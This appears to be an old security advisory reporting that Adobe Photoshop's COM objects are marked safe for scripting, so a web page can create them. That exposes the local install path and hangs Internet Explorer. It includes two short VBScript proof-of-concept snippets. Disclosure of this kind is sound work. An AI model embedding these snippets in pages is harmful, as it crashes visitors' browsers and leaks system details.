===============
1) Introduction
===============

Adobe Photoshop is one of the worlds best graphic editors.
It has a great set of tools, layer combinations, brushes, amazing software.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Adobe Photoshop registers a lot of COM objects(such as 
"Photoshop.Application.8"
and "Photoshop.PhotoCDOpenOptions.8"). These objects are marked as "safe"
for scripting. Therefore they can be created remotely(which is the root of 
the problem - they should not!).

Unfortunatly , adobe did not design their object correctly, because upon any 
remote
creation of a Photoshop Object a message pops up saying adobe photoshop 
security
caught "potential tampering with photoshop", however it also reveals the 
local path
of which photoshop was installed in and the Internet Explorer window stops 
responding(D.O.S).

For Example:
 <script language=vbscript>
Dim cooler
Set cooler = CreateObject("Photoshop.Application.8" )
</script>

Will show where photoshop is installed and that
Internet Explorer window stops responding(D.O.S).

3) The Code
===========

This is Proof Of Concept Code:
------------------- CUT HERE -------------------
 <script language=vbscript>
Dim cooler
Set cooler = CreateObject("Photoshop.Application.8" )
</script>
------------------- CUT HERE -------------------

Or

------------------- CUT HERE -------------------
<script language=vbscript>
dim cooler
Set cooler = CreateObject("Photoshop.PhotoCDOpenOptions.8" )
</script>
------------------- CUT HERE -------------------
